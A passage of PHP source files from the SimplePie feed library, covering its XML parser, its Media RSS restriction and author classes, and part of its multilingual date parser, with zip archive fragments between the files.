and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue * @author Ryan Parman * @author Geoffrey Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ /** * Parses XML into something sane * * * This class can be overloaded with {@see SimplePie::set_parser_class()} * * @package SimplePie * @subpackage Parsing */ class SimplePie_Parser { var $error_code; var $error_string; var $current_line; var $current_column; var $current_byte; var $separator = ' '; var $namespace = array(''); var $element = array(''); var $xml_base = array(''); var $xml_base_explicit = array(false); var $xml_lang = array(''); var $data = array(); var $datas = array(array()); var $current_xhtml_construct = -1; var $encoding; protected $registry; public function set_registry(SimplePie_Registry $registry) { $this->registry = $registry; } public function parse(&$data, $encoding) { // Use UTF-8 if we get passed US-ASCII, as every US-ASCII character is a UTF-8 character if (strtoupper($encoding) === 'US-ASCII') { $this->encoding = 'UTF-8'; } else { $this->encoding = $encoding; } // Strip BOM: // UTF-32 Big Endian BOM if (substr($data, 0, 4) === "\x00\x00\xFE\xFF") { $data = substr($data, 4); } // UTF-32 Little Endian BOM elseif (substr($data, 0, 4) === "\xFF\xFE\x00\x00") { $data = substr($data, 4); } // UTF-16 Big Endian BOM elseif (substr($data, 0, 2) === "\xFE\xFF") { $data = substr($data, 2); } // UTF-16 Little Endian BOM elseif (substr($data, 0, 2) === "\xFF\xFE") { $data = substr($data, 2); } // UTF-8 BOM elseif (substr($data, 0, 3) === "\xEF\xBB\xBF") { $data = substr($data, 3); } if (substr($data, 0, 5) === '<?xml' && strspn(substr($data, 5, 1), "\x09\x0A\x0D\x20") && ($pos = strpos($data, '?>')) !== false) { $declaration = $this->registry->create('XML_Declaration_Parser', array(substr($data, 5, $pos - 5))); if ($declaration->parse()) { $data = substr($data, $pos + 2); $data = '<?xml version="' . $declaration->version . '" encoding="' . $encoding . '" standalone="' . (($declaration->standalone) ? 'yes' : 'no') . '"?>' . $data; } else { $this->error_string = 'SimplePie bug! Please report this!'; return false; } } $return = true; static $xml_is_sane = null; if ($xml_is_sane === null) { $parser_check = xml_parser_create(); xml_parse_into_struct($parser_check, '<foo>&</foo>', $values); xml_parser_free($parser_check); $xml_is_sane = isset($values[0]['value']); } // Create the parser if ($xml_is_sane) { $xml = xml_parser_create_ns($this->encoding, $this->separator); xml_parser_set_option($xml, XML_OPTION_SKIP_WHITE, 1); xml_parser_set_option($xml, XML_OPTION_CASE_FOLDING, 0); xml_set_object($xml, $this); xml_set_character_data_handler($xml, 'cdata'); xml_set_element_handler($xml, 'tag_open', 'tag_close'); // Parse! if (!xml_parse($xml, $data, true)) { $this->error_code = xml_get_error_code($xml); $this->error_string = xml_error_string($this->error_code); $return = false; } $this->current_line = xml_get_current_line_number($xml); $this->current_column = xml_get_current_column_number($xml); $this->current_byte = xml_get_current_byte_index($xml); xml_parser_free($xml); return $return; } else { libxml_clear_errors(); $xml = new XMLReader(); $xml->xml($data); while (@$xml->read()) { switch ($xml->nodeType) { case constant('XMLReader::END_ELEMENT'): if ($xml->namespaceURI !== '') { $tagName = $xml->namespaceURI . $this->separator . $xml->localName; } else { $tagName = $xml->localName; } $this->tag_close(null, $tagName); break; case constant('XMLReader::ELEMENT'): $empty = $xml->isEmptyElement; if ($xml->namespaceURI !== '') { $tagName = $xml->namespaceURI . $this->separator . $xml->localName; } else { $tagName = $xml->localName; } $attributes = array(); while ($xml->moveToNextAttribute()) { if ($xml->namespaceURI !== '') { $attrName = $xml->namespaceURI . $this->separator . $xml->localName; } else { $attrName = $xml->localName; } $attributes[$attrName] = $xml->value; } $this->tag_open(null, $tagName, $attributes); if ($empty) { $this->tag_close(null, $tagName); } break; case constant('XMLReader::TEXT'): case constant('XMLReader::CDATA'): $this->cdata(null, $xml->value); break; } } if ($error = libxml_get_last_error()) { $this->error_code = $error->code; $this->error_string = $error->message; $this->current_line = $error->line; $this->current_column = $error->column; return false; } else { return true; } } } public function get_error_code() { return $this->error_code; } public function get_error_string() { return $this->error_string; } public function get_current_line() { return $this->current_line; } public function get_current_column() { return $this->current_column; } public function get_current_byte() { return $this->current_byte; } public function get_data() { return $this->data; } public function tag_open($parser, $tag, $attributes) { list($this->namespace[], $this->element[]) = $this->split_ns($tag); $attribs = array(); foreach ($attributes as $name => $value) { list($attrib_namespace, $attribute) = $this->split_ns($name); $attribs[$attrib_namespace][$attribute] = $value; } if (isset($attribs[SIMPLEPIE_NAMESPACE_XML]['base'])) { $base = $this->registry->call('Misc', 'absolutize_url', array($attribs[SIMPLEPIE_NAMESPACE_XML]['base'], end($this->xml_base))); if ($base !== false) { $this->xml_base[] = $base; $this->xml_base_explicit[] = true; } } else { $this->xml_base[] = end($this->xml_base); $this->xml_base_explicit[] = end($this->xml_base_explicit); } if (isset($attribs[SIMPLEPIE_NAMESPACE_XML]['lang'])) { $this->xml_lang[] = $attribs[SIMPLEPIE_NAMESPACE_XML]['lang']; } else { $this->xml_lang[] = end($this->xml_lang); } if ($this->current_xhtml_construct >= 0) { $this->current_xhtml_construct++; if (end($this->namespace) === SIMPLEPIE_NAMESPACE_XHTML) { $this->data['data'] .= '<' . end($this->element); if (isset($attribs[''])) { foreach ($attribs[''] as $name => $value) { $this->data['data'] .= ' ' . $name . '="' . htmlspecialchars($value, ENT_COMPAT, $this->encoding) . '"'; } } $this->data['data'] .= '>'; } } else { $this->datas[] =& $this->data; $this->data =& $this->data['child'][end($this->namespace)][end($this->element)][]; $this->data = array('data' => '', 'attribs' => $attribs, 'xml_base' => end($this->xml_base), 'xml_base_explicit' => end($this->xml_base_explicit), 'xml_lang' => end($this->xml_lang)); if ((end($this->namespace) === SIMPLEPIE_NAMESPACE_ATOM_03 && in_array(end($this->element), array('title', 'tagline', 'copyright', 'info', 'summary', 'content')) && isset($attribs['']['mode']) && $attribs['']['mode'] === 'xml') || (end($this->namespace) === SIMPLEPIE_NAMESPACE_ATOM_10 && in_array(end($this->element), array('rights', 'subtitle', 'summary', 'info', 'title', 'content')) && isset($attribs['']['type']) && $attribs['']['type'] === 'xhtml') || (end($this->namespace) === SIMPLEPIE_NAMESPACE_RSS_20 && in_array(end($this->element), array('title'))) || (end($this->namespace) === SIMPLEPIE_NAMESPACE_RSS_090 && in_array(end($this->element), array('title'))) || (end($this->namespace) === SIMPLEPIE_NAMESPACE_RSS_10 && in_array(end($this->element), array('title')))) { $this->current_xhtml_construct = 0; } } } public function cdata($parser, $cdata) { if ($this->current_xhtml_construct >= 0) { $this->data['data'] .= htmlspecialchars($cdata, ENT_QUOTES, $this->encoding); } else { $this->data['data'] .= $cdata; } } public function tag_close($parser, $tag) { if ($this->current_xhtml_construct >= 0) { $this->current_xhtml_construct--; if (end($this->namespace) === SIMPLEPIE_NAMESPACE_XHTML && !in_array(end($this->element), array('area', 'base', 'basefont', 'br', 'col', 'frame', 'hr', 'img', 'input', 'isindex', 'link', 'meta', 'param'))) { $this->data['data'] .= '</' . end($this->element) . '>'; } } if ($this->current_xhtml_construct === -1) { $this->data =& $this->datas[count($this->datas) - 1]; array_pop($this->datas); } array_pop($this->element); array_pop($this->namespace); array_pop($this->xml_base); array_pop($this->xml_base_explicit); array_pop($this->xml_lang); } public function split_ns($string) { static $cache = array(); if (!isset($cache[$string])) { if ($pos = strpos($string, $this->separator)) { static $separator_length; if (!$separator_length) { $separator_length = strlen($this->separator); } $namespace = substr($string, 0, $pos); $local_name = substr($string, $pos + $separator_length); if (strtolower($namespace) === SIMPLEPIE_NAMESPACE_ITUNES) { $namespace = SIMPLEPIE_NAMESPACE_ITUNES; } // Normalize the Media RSS namespaces if ($namespace === SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG || $namespace === SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG2 || $namespace === SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG3 || $namespace === SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG4 || $namespace === SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG5 ) { $namespace = SIMPLEPIE_NAMESPACE_MEDIARSS; } $cache[$string] = array($namespace, $local_name); } else { $cache[$string] = array('', $string); } } return $cache[$string]; } } PKÜ�\�0��<vendor/simplepie/simplepie/library/SimplePie/Restriction.phpnu�[���<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue * @author Ryan Parman * @author Geoffrey Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ /** * Handles `<media:restriction>` as defined in Media RSS * * Used by {@see SimplePie_Enclosure::get_restriction()} and {@see SimplePie_Enclosure::get_restrictions()} * * This class can be overloaded with {@see SimplePie::set_restriction_class()} * * @package SimplePie * @subpackage API */ class SimplePie_Restriction { /** * Relationship ('allow'/'deny') * * @var string * @see get_relationship() */ var $relationship; /** * Type of restriction * * @var string * @see get_type() */ var $type; /** * Restricted values * * @var string * @see get_value() */ var $value; /** * Constructor, used to input the data * * For documentation on all the parameters, see the corresponding * properties and their accessors */ public function __construct($relationship = null, $type = null, $value = null) { $this->relationship = $relationship; $this->type = $type; $this->value = $value; } /** * String-ified version * * @return string */ public function __toString() { // There is no $this->data here return md5(serialize($this)); } /** * Get the relationship * * @return string|null Either 'allow' or 'deny' */ public function get_relationship() { if ($this->relationship !== null) { return $this->relationship; } else { return null; } } /** * Get the type * * @return string|null */ public function get_type() { if ($this->type !== null) { return $this->type; } else { return null; } } /** * Get the list of restricted things * * @return string|null */ public function get_value() { if ($this->value !== null) { return $this->value; } else { return null; } } } PKÜ�\�~h� � 7vendor/simplepie/simplepie/library/SimplePie/Author.phpnu�[���<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue * @author Ryan Parman * @author Geoffrey Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ /** * Manages all author-related data * * Used by {@see SimplePie_Item::get_author()} and {@see SimplePie::get_authors()} * * This class can be overloaded with {@see SimplePie::set_author_class()} * * @package SimplePie * @subpackage API */ class SimplePie_Author { /** * Author's name * * @var string * @see get_name() */ var $name; /** * Author's link * * @var string * @see get_link() */ var $link; /** * Author's email address * * @var string * @see get_email() */ var $email; /** * Constructor, used to input the data * * @param string $name * @param string $link * @param string $email */ public function __construct($name = null, $link = null, $email = null) { $this->name = $name; $this->link = $link; $this->email = $email; } /** * String-ified version * * @return string */ public function __toString() { // There is no $this->data here return md5(serialize($this)); } /** * Author's name * * @return string|null */ public function get_name() { if ($this->name !== null) { return $this->name; } else { return null; } } /** * Author's link * * @return string|null */ public function get_link() { if ($this->link !== null) { return $this->link; } else { return null; } } /** * Author's email address * * @return string|null */ public function get_email() { if ($this->email !== null) { return $this->email; } else { return null; } } } PKÜ�\ 0-��L�L;vendor/simplepie/simplepie/library/SimplePie/Parse/Date.phpnu�[���<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue * @author Ryan Parman * @author Geoffrey Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ /** * Date Parser * * @package SimplePie * @subpackage Parsing */ class SimplePie_Parse_Date { /** * Input data * * @access protected * @var string */ var $date; /** * List of days, calendar day name => ordinal day number in the week * * @access protected * @var array */ var $day = array( // English 'mon' => 1, 'monday' => 1, 'tue' => 2, 'tuesday' => 2, 'wed' => 3, 'wednesday' => 3, 'thu' => 4, 'thursday' => 4, 'fri' => 5, 'friday' => 5, 'sat' => 6, 'saturday' => 6, 'sun' => 7, 'sunday' => 7, // Dutch 'maandag' => 1, 'dinsdag' => 2, 'woensdag' => 3, 'donderdag' => 4, 'vrijdag' => 5, 'zaterdag' => 6, 'zondag' => 7, // French 'lundi' => 1, 'mardi' => 2, 'mercredi' => 3, 'jeudi' => 4, 'vendredi' => 5, 'samedi' => 6, 'dimanche' => 7, // German 'montag' => 1, 'dienstag' => 2, 'mittwoch' => 3, 'donnerstag' => 4, 'freitag' => 5, 'samstag' => 6, 'sonnabend' => 6, 'sonntag' => 7, // Italian 'lunedì' => 1, 'martedì' => 2, 'mercoledì' => 3, 'giovedì' => 4, 'venerdì' => 5, 'sabato' => 6, 'domenica' => 7, // Spanish 'lunes' => 1, 'martes' => 2, 'miércoles' => 3, 'jueves' => 4, 'viernes' => 5, 'sábado' => 6, 'domingo' => 7, // Finnish 'maanantai' => 1, 'tiistai' => 2, 'keskiviikko' => 3, 'torstai' => 4, 'perjantai' => 5, 'lauantai' => 6, 'sunnuntai' => 7, // Hungarian 'hétfő' => 1, 'kedd' => 2, 'szerda' => 3, 'csütörtok' => 4, 'péntek' => 5, 'szombat' => 6, 'vasárnap' => 7, // Greek 'Δευ' => 1, 'Τρι' => 2, 'Τετ' => 3, 'Πεμ' => 4, 'Παρ' => 5, 'Σαβ' => 6, 'Κυρ' => 7, ); /** * List of months, calendar month name => calendar month number * * @access protected * @var array */ var $month = array( // English 'jan' => 1, 'january' => 1, 'feb' => 2, 'february' => 2, 'mar' => 3, 'march' => 3, 'apr' => 4, 'april' => 4, 'may' => 5, // No long form of May 'jun' => 6, 'june' => 6, 'jul' => 7, 'july' => 7, 'aug' => 8, 'august' => 8, 'sep' => 9, 'september' => 8, 'oct' => 10, 'october' => 10, 'nov' => 11, 'november' => 11, 'dec' => 12, 'december' => 12, // Dutch 'januari' => 1, 'februari' => 2, 'maart' => 3, 'april' => 4, 'mei' => 5, 'juni' => 6, 'juli' => 7, 'augustus' => 8, 'september' => 9, 'oktober' => 10, 'november' => 11, 'december' => 12, // French 'janvier' => 1, 'février' => 2, 'mars' => 3, 'avril' => 4, 'mai' => 5, 'juin' => 6, 'juillet' => 7, 'août' => 8, 'septembre' => 9, 'octobre' => 10, 'novembre' => 11, 'décembre' => 12, // German 'januar' => 1, 'februar' => 2, 'märz' => 3, 'april' => 4, 'mai' => 5, 'juni' => 6, 'juli' => 7, 'august' => 8, 'september' => 9, 'oktober' => 10, 'november' => 11, 'dezember' => 12, // Italian 'gennaio' => 1, 'febbraio' => 2, 'marzo' => 3, 'aprile' => 4, 'maggio' => 5, 'giugno' => 6, 'luglio' => 7, 'agosto' => 8, 'settembre' => 9, 'ottobre' => 10, 'novembre' => 11, 'dicembre' => 12, // Spanish 'enero' => 1, 'febrero' => 2, 'marzo' => 3, 'abril' => 4, 'mayo' => 5, 'junio' => 6, 'julio' => 7, 'agosto' => 8, 'septiembre' => 9, 'setiembre' => 9, 'octubre' => 10, 'noviembre' => 11, 'diciembre' => 12, // Finnish 'tammikuu' => 1, 'helmikuu' => 2, 'maaliskuu' => 3, 'huhtikuu' => 4, 'toukokuu' => 5, 'kesäkuu' => 6, 'heinäkuu' => 7, 'elokuu' => 8, 'suuskuu' => 9, 'lokakuu' => 10, 'marras' => 11, 'joulukuu' => 12, // Hungarian 'január' => 1, 'február' => 2, 'március' => 3, 'április' => 4, 'május' => 5, 'június' => 6, 'július' => 7, 'augusztus' => 8, 'szeptember' => 9, 'október' => 10, 'november' => 11, 'december' => 12, // Greek 'Ιαν' => 1, 'Φεβ' => 2, 'Μάώ' => 3, 'Μαώ' => 3, 'Απρ' => 4, 'Μάι' => 5, 'Μαϊ' => 5, 'Μαι' => 5, 'Ιούν' => 6, 'Ιον' => 6, 'Ιούλ' => 7, 'Ιολ' => 7, 'Αύγ' => 8, 'Αυγ' => 8, 'Σεπ' => 9, 'Οκτ' => 10, 'Νοέ' => 11, 'Δεκ' => 12, ); /** * List of timezones, abbreviation => offset from UTC * * @access protected * @var array */ var $timezone = array( 'ACDT' => 37800, 'ACIT' => 28800, 'ACST' => 34200, 'ACT' => -18000, 'ACWDT' => 35100, 'ACWST' => 31500, 'AEDT' => 39600, 'AEST' => 36000, 'AFT' => 16200, 'AKDT' => -28800, 'AKST' => -32400, 'AMDT' => 18000, 'AMT' => -14400, 'ANAST' => 46800, 'ANAT' => 43200, 'ART' => -10800, 'AZOST' => -3600, 'AZST' => 18000, 'AZT' => 14400, 'BIOT' => 21600, 'BIT' => -43200, 'BOT' => -14400, 'BRST' => -7200, 'BRT' => -10800, 'BST' => 3600, 'BTT' => 21600, 'CAST' => 18000, 'CAT' => 7200, 'CCT' => 23400, 'CDT' => -18000, 'CEDT' => 7200, 'CET' => 3600, 'CGST' => -7200, 'CGT' => -10800, 'CHADT' => 49500, 'CHAST' => 45900, 'CIST' => -28800, 'CKT' => -36000, 'CLDT' => -10800, 'CLST' => -14400, 'COT' => -18000, 'CST' => -21600, 'CVT' => -3600, 'CXT' => 25200, 'DAVT' => 25200, 'DTAT' => 36000, 'EADT' => -18000, 'EAST' => -21600, 'EAT' => 10800, 'ECT' => -18000, 'EDT' => -14400, 'EEST' => 10800, 'EET' => 7200, 'EGT' => -3600, 'EKST' => 21600, 'EST' => -18000, 'FJT' => 43200, 'FKDT' => -10800, 'FKST' => -14400, 'FNT' => -7200, 'GALT' => -21600, 'GEDT' => 14400, 'GEST' => 10800, 'GFT' => -10800, 'GILT' => 43200, 'GIT' => -32400, 'GST' => 14400, 'GST' => -7200, 'GYT' => -14400, 'HAA' => -10800, 'HAC' => -18000, 'HADT' => -32400, 'HAE' => -14400, 'HAP' => -25200, 'HAR' => -21600, 'HAST' => -36000, 'HAT' => -9000, 'HAY' => -28800, 'HKST' => 28800, 'HMT' => 18000, 'HNA' => -14400, 'HNC' => -21600, 'HNE' => -18000, 'HNP' => -28800, 'HNR' => -25200, 'HNT' => -12600, 'HNY' => -32400, 'IRDT' => 16200, 'IRKST' => 32400, 'IRKT' => 28800, 'IRST' => 12600, 'JFDT' => -10800, 'JFST' => -14400, 'JST' => 32400, 'KGST' => 21600, 'KGT' => 18000, 'KOST' => 39600, 'KOVST' => 28800, 'KOVT' => 25200, 'KRAST' => 28800, 'KRAT' => 25200, 'KST' => 32400, 'LHDT' => 39600, 'LHST' => 37800, 'LINT' => 50400, 'LKT' => 21600, 'MAGST' => 43200, 'MAGT' => 39600, 'MAWT' => 21600, 'MDT' => -21600, 'MESZ' => 7200, 'MEZ' => 3600, 'MHT' => 43200, 'MIT' => -34200, 'MNST' => 32400, 'MSDT' => 14400, 'MSST' => 10800, 'MST' => -25200, 'MUT' => 14400, 'MVT' => 18000, 'MYT' => 28800, 'NCT' => 39600, 'NDT' => -9000, 'NFT' => 41400, 'NMIT' => 36000, 'NOVST' => 25200, 'NOVT' => 21600, 'NPT' => 20700, 'NRT' => 43200, 'NST' => -12600, 'NUT' => -39600, 'NZDT' => 46800, 'NZST' => 43200, 'OMSST' => 25200, 'OMST' => 21600, 'PDT' => -25200, 'PET' => -18000, 'PETST' => 46800, 'PETT' => 43200, 'PGT' => 36000, 'PHOT' => 46800, 'PHT' => 28800, 'PKT' => 18000, 'PMDT' => -7200, 'PMST' => -10800, 'PONT' => 39600, 'PST' => -28800, 'PWT' => 32400, 'PYST' => -10800, 'PYT' => -14400, 'RET' => 14400, 'ROTT' => -10800, 'SAMST' => 18000, 'SAMT' => 14400, 'SAST' => 7200, 'SBT' => 39600, 'SCDT' => 46800, 'SCST' => 43200, 'SCT' => 14400, 'SEST' => 3600, 'SGT' => 28800, 'SIT' => 28800, 'SRT' => -10800, 'SST' => -39600, 'SYST' => 10800, 'SYT' => 7200, 'TFT' => 18000, 'THAT' => -36000, 'TJT' => 18000, 'TKT' => -36000, 'TMT' => 18000, 'TOT' => 46800, 'TPT' => 32400, 'TRUT' => 36000, 'TVT' => 43200, 'TWT' => 28800, 'UYST' => -7200, 'UYT' => -10800, 'UZT' => 18000, 'VET' => -14400, 'VLAST' => 39600, 'VLAT' => 36000, 'VOST' => 21600, 'VUT' => 39600, 'WAST' => 7200, 'WAT' => 3600, 'WDT' => 32400, 'WEST' => 3600, 'WFT' => 43200, 'WIB' => 25200, 'WIT' => 32400, 'WITA' => 28800, 'WKST' => 18000, 'WST' => 28800, 'YAKST' => 36000, 'YAKT' => 32400, 'YAPT' => 36000, 'YEKST' => 21600, 'YEKT' => 18000, ); /** * Cached PCRE for SimplePie_Parse_Date::$day * * @access protected * @var string */ var $day_pcre; /** * Cached PCRE for SimplePie_Parse_Date::$month * * @access protected * @var string */ var $month_pcre; /** * Array of user-added callback methods * * @access private * @var array */ var $built_in = array(); /** * Array of user-added callback methods * * @access private * @var array */ var $user = array(); /** * Create new SimplePie_Parse_Date object, and set self::day_pcre, * self::month_pcre, and self::built_in * * @access private */ public function __construct() { $this->day_pcre = '(' . implode('|', array_keys($this->day)) . ')'; $this->month_pcre = '(' . implode('|', array_keys($this->month)) . ')'; static $cache; if (!isset($cache[get_class($this)])) { $all_methods = get_class_methods($this); foreach ($all_methods as $method) { if (strtolower(substr($method, 0, 5)) === 'date_') { $cache[get_class($this)][] = $method; } } } foreach ($cache[get_class($this)] as $method) { $this->built_in[] = $method; } } /** * Get the object * * @access public */ public static function get() { static $object; if (!$object) { $object = new SimplePie_Parse_Date; } return $object; } /** * Parse a date * * @final * @access public * @param string $date Date to parse * @return int Timestamp corresponding to date string, or false on failure */ public function parse($date) { foreach ($this->user as $method) { if (($returned = call_user_func($method, $date)) !== false) { return $returned; } } foreach ($this->built_in as $method) { if (($returned = call_user_func(array($this, $method), $date)) !== false) { return $returned; } } return false; } /** * Add a callback method to parse a date * * @final * @access public * @param callback $callback */ public function add_callback($callback) { if (is_callable($callback)) { $this->user[] = $callback; } else { trigger_error('User-supplied function must be a valid callback', E_USER_WARNING); } } /** * Parse a superset of W3C-DTF (allows hyphens and colons to be omitted, as * well as allowing any of upper or lower case "T", horizontal tabs, or * spaces to be used as the time seperator (including more than one)) * * @access protected * @return int Timestamp */ public function date_w3cdtf($date) { static $pcre; if (!$pcre) { $year = '([0-9]{4})'; $month = $day = $hour = $minute = $second = '([0-9]{2})'; $decimal = '([0-9]*)'; $zone = '(?:(Z)|([+\-])([0-9]{1,2}):?([0-9]{1,2}))'; $pcre = '/^' . $year . '(?:-?' . $month . '(?:-?' . $day . '(?:[Tt\x09\x20]+' . $hour . '(?::?' . $minute . '(?::?' . $second . '(?:.' . $decimal . ')?)?)?' . $zone . ')?)?)?$/'; } if (preg_match($pcre, $date, $match)) { /* Capturing subpatterns: 1: Year 2: Month 3: Day 4: Hour 5: Minute 6: Second 7: Decimal fraction of a second 8: Zulu 9: Timezone ± 10: Timezone hours 11: Timezone minutes */ // Fill in empty matches for ($i = count($match); $i <= 3; $i++) { $match[$i] = '1'; } for ($i = count($match); $i <= 7; $i++) { $match[$i] = '0'; } // Numeric timezone if (isset($match[9]) && $match[9] !== '') { $timezone = $match[10] * 3600; $timezone += $match[11] * 60; if ($match[9] === '-') { $timezone = 0 - $timezone; } } else { $timezone = 0; } // Convert the number of seconds to an integer, taking decimals into account $second = round($match[6] + $match[7] / pow(10, strlen($match[7]))); return gmmktime($match[4], $match[5], $second, $match[2], $match[3], $match[1]) - $timezone; } else { return false; } } /** * Remove RFC822 comments * * @access protected * @param string $data Data to strip comments from * @return string Comment stripped string */ public function remove_rfc2822_comments($string) { $string = (string) $string; $position = 0; $length = strlen($string); $depth = 0; $output = ''; while ($position < $length && ($pos = strpos($string, '(', $position)) !== false) { $output .= substr($string, $position, $pos - $position); $position = $pos + 1; if ($string[$pos - 1] !== '\\') { $depth++; while ($depth && $position < $length) { $position += strcspn($string, '()', $position); if ($string[$position - 1] === '\\') { $position++; continue; } elseif (isset($string[$position])) { switch ($string[$position]) { case '(': $depth++; break; case ')': $depth--; break; } $position++; } else { break; } } } else { $output .= '('; } } $output .= substr($string, $position); return $output; } /** * Parse RFC2822's date format * 